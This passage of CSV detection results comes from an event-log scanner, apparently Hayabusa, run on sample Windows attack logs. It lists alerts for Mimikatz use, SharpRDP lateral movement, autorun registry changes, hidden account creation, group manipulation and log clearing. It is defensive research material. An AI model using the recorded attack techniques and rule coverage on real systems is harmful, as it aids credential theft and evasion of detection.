Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 07:07:33.800 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +2020-07-10 19:20:34.910 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: rdpclip : Path: C:\Windows\System32\rdpclip.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\svchost.exe -k NetworkService -s TermService,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.886 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.886 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.913 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:35.913 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.637 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""\\tsclient\c\temp\stack\a.exe"" : Path: \\tsclient\c\temp\stack\a.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:37.672 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:58.942 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-10 19:20:58.942 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_1_12_13_3_tsclient_SharpRdp.evtx +2020-07-11 22:21:11.693 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:11.693 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:17.514 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:17.514 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:18.640 +09:00,wec02,70,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-11 22:21:18.640 +09:00,wec02,70,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1552.004-Unsecured Credentials-Private Keys/ID70-CAPI-Private key accessed Mimikatz.evtx +2020-07-12 02:16:42.576 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:16:42.592 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:16:50.984 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5142- New file share created.evtx +2020-07-12 02:17:49.788 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 02:17:49.788 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 02:18:01.228 +09:00,fs02.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1222.001-File and Directory Permissions Modification/ID5143-File share permissions changed.evtx +2020-07-12 06:38:17.351 +09:00,-,-,low,Rare Schtasks Creations,[condition] count() by TaskName < 5 in timeframe [result] count:1 TaskName:\\smbservice timeframe:7d,rules/sigma/builtin/security/win_rare_schtasks_creations.yml,- +2020-07-12 06:38:17.445 +09:00,fs02.offsec.lan,4699,medium,Scheduled Task Deletion,,rules/sigma/builtin/security/win_scheduled_task_deletion.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1053.005-Scheduled Task/ID4698-4699-Fast created & deleted task by SMBexec (sups. arg.).evtx +2020-07-12 06:49:56.318 +09:00,fs02.offsec.lan,104,high,System log file was cleared,User: admmig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID7045-Random service installation.evtx +2020-07-12 14:10:08.442 +09:00,rootdc1.offsec.lan,4720,medium,Local user account created,User: admin-kriss : SID:S-1-5-21-4230534742-2542757381-3142984815-1166,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-4726 Fast created-deleted user.evtx +2020-07-12 14:10:08.442 +09:00,rootdc1.offsec.lan,4720,medium,Local user account created,User: admin-kriss : SID:S-1-5-21-4230534742-2542757381-3142984815-1166,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Admin like user created.evtx +2020-07-12 14:12:58.295 +09:00,jump01.offsec.lan,4720,medium,Local user account created,User: hacking-local-acct : SID:S-1-5-21-1470532092-3758209836-3742276719-1001,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Local user created.evtx +2020-07-12 14:14:30.976 +09:00,jump01.offsec.lan,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-1470532092-3758209836-3742276719-1001 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4732-User added to local admin groups.evtx +2020-07-12 14:14:30.976 +09:00,jump01.offsec.lan,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-1470532092-3758209836-3742276719-1001 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4732-4733-Quick added-removed user from local group.evtx +2020-07-12 14:17:23.107 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=lambda-user,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1158 : Group: Group02",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Member adding to a group by the same account.evtx +2020-07-12 14:17:23.107 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=lambda-user,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1158 : Group: Group02 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Member adding to a group by the same account.evtx +2020-07-12 14:19:54.561 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group01",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.561 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group01 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.564 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group02",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.564 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group02 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.566 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group03",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.566 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group03 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.568 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group04",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.568 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group04 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.570 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group05",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.570 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group05 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.572 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group06",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.572 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group06 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.574 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group07",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.574 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group07 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.576 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group08",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.576 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group08 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.578 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group09",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.578 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group09 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.580 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group10",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.580 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group10 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.582 +09:00,rootdc1.offsec.lan,4728,low,User added to local security group,"User: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group11",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:19:54.582 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=hack-adm-hack,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1150 : Group: Group11 : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-Massive account group membership change.evtx +2020-07-12 14:27:05.579 +09:00,fs02.offsec.lan,4825,medium,Denied Access To Remote Desktop,,rules/sigma/builtin/security/win_not_allowed_rdp_access.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.001-Remote Desktop Protocol/ID4825-Denied RDP connection with valid credentials.evtx +2020-07-12 14:28:26.831 +09:00,fs02.offsec.lan,4825,medium,Denied Access To Remote Desktop,,rules/sigma/builtin/security/win_not_allowed_rdp_access.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.001-Remote Desktop Protocol/ID4825-Denied RDP connection with valid credentials.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,high,User added to local Domain Admins group,"User: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins",rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalDomainAdminsGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,high,User added to the global Domain Admins group,"Member added: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalDomainAdmins.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-12 15:01:13.758 +09:00,rootdc1.offsec.lan,4728,medium,User added to global security group,"Member added: CN=honey-pot1,OU=Test-OU,OU=OFFSEC-COMPANY,DC=offsec,DC=lan : SID: S-1-5-21-4230534742-2542757381-3142984815-1159 : Group: Domain Admins : Subject user: lambda-user : Subject domain: OFFSEC",rules/hayabusa/default/alerts/Security/4728_AccountManipulation_UserAddedToGlobalSecurityGroup.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1098.xxx-Account manipulation/ID4728-4756-Member added to sensitive domain groups.evtx +2020-07-13 04:45:00.670 +09:00,rootdc1.offsec.lan,4720,high,Hidden user account created! (Possible Backdoor),User: FAKE-COMPUTER$ : SID:S-1-5-21-4230534742-2542757381-3142984815-1168,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_ComputerAccountCreated.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1136-Create account/ID4720-Fake computer account created.evtx +2020-07-13 17:34:33.915 +09:00,rootdc1.offsec.lan,4794,high,Password Change on Directory Service Restore Mode (DSRM) Account,,rules/sigma/builtin/security/win_susp_dsrm_password_change.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4794-4688-DSRM password set with NTDSutil.evtx +2020-07-19 22:06:52.199 +09:00,01566s-win16-ir.threebeesco.com,5145,critical,Protected Storage Service Access,,rules/sigma/builtin/security/win_protected_storage_service_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_protectedstorage_5145_rpc_masterkey.evtx +2020-07-23 05:29:27.321 +09:00,01566s-win16-ir.threebeesco.com,1102,high,Security log was cleared,User: a-jbrown,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/kerberos_pwd_spray_4771.evtx +2020-07-23 05:29:36.414 +09:00,01566s-win16-ir.threebeesco.com,4768,informational,Kerberos TGT was requested,User: HD01 : Service: krbtgt/THREEBEESCO.COM : IP Address: 172.16.66.1 : Status: 0x6 : PreAuthType: -,rules/hayabusa/default/events/Security/Logons/4768_KerberosTGT-Request.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential 